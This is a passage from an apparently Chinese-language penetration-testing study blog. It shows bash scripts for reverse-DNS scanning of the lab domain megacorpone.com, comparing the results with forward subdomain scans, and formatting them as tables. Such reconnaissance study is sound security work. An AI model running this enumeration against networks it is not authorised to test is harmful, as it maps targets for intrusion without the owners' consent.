&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;161&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;┌─%s─┬─%s─┐\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;162&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_domain_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;163&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;164&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格标题&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;165&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;│ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;IP地址&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;域名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;166&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;├─%s─┼─%s─┤\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;167&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_domain_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;168&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;169&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格内容&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;170&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;, &lt;span class="nb"&gt;read&lt;/span&gt; -r ip domain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;171&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;│ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;172&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;173&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;174&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格底部&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;175&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;└─%s─┴─%s─┘\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;176&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_domain_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;177&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;178&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;179&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;180&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出统计信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;181&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;182&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描完成&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;183&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;结束时间: &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;184&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;总耗时: &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL_TIME &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt; 分钟 &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL_TIME &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt; 秒&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;185&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;共扫描: &lt;/span&gt;&lt;span class="nv"&gt;$COUNT&lt;/span&gt;&lt;span class="s2"&gt; 个IP地址&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;186&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;发现: &lt;/span&gt;&lt;span class="nv"&gt;$FOUND&lt;/span&gt;&lt;span class="s2"&gt; 个反向DNS记录&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;187&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;CSV文件: &lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;188&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;189&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;190&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 清理临时文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;191&lt;/span&gt;&lt;span class="cl"&gt;rm -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704150011190" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704150011190.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704150026893" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704150026893.png"&gt;&lt;/p&gt;
&lt;p&gt;对比可以发现，反向查找出来了一些正向用字典没又找到的子域名。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704150300070" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704150300070.png"&gt;&lt;/p&gt;
&lt;p&gt;用命令来辅助我们发现新域名，这些新域名，新IP中可能包含易于攻击的系统。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;comm -13 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1{print $1}&amp;#39;&lt;/span&gt; megacorpone.com.csv &lt;span class="p"&gt;|&lt;/span&gt; sort -u&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1 &amp;amp;&amp;amp; $2~/megacorpone\.com$/{print $2}&amp;#39;&lt;/span&gt; 167.114.21_50-100_reverse_dns.csv &lt;span class="p"&gt;|&lt;/span&gt; sort -u&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; xargs -I&lt;span class="o"&gt;{}&lt;/span&gt; grep -i &lt;span class="s2"&gt;&amp;#34;,{}&lt;/span&gt;$&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; 167.114.21_50-100_reverse_dns.csv &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; column -t -s, -N &lt;span class="s2"&gt;&amp;#34;IP地址,域名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704151254495" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704151254495.png"&gt;&lt;/p&gt;
&lt;p&gt;对两个CSV细致分析的还可以用下面这个脚本&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 脚本名称: dns_analyzer.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 功能: 智能分析DNS扫描CSV文件，支持子域名统计和反向DNS统计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用法: ./dns_analyzer.sh 输入文件.csv&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 错误处理&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;die&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$#&lt;/span&gt; -ne &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;用法: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; 输入文件.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;INPUT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; ! -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;文件不存在: &lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测文件类型&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; head -1 &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -qE &lt;span class="s2"&gt;&amp;#34;子域名,IP地址|subdomain,ip&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;检测到子域名扫描CSV文件&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;FILE_TYPE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;subdomain&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; head -1 &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -qE &lt;span class="s2"&gt;&amp;#34;IP地址,域名|ip,domain&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;检测到反向DNS扫描CSV文件&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;FILE_TYPE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;reverse&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;无法识别CSV文件类型 - 请确保文件包含正确的标题行&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 美观的域名列表输出函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;pretty_print_domains&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;domains&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
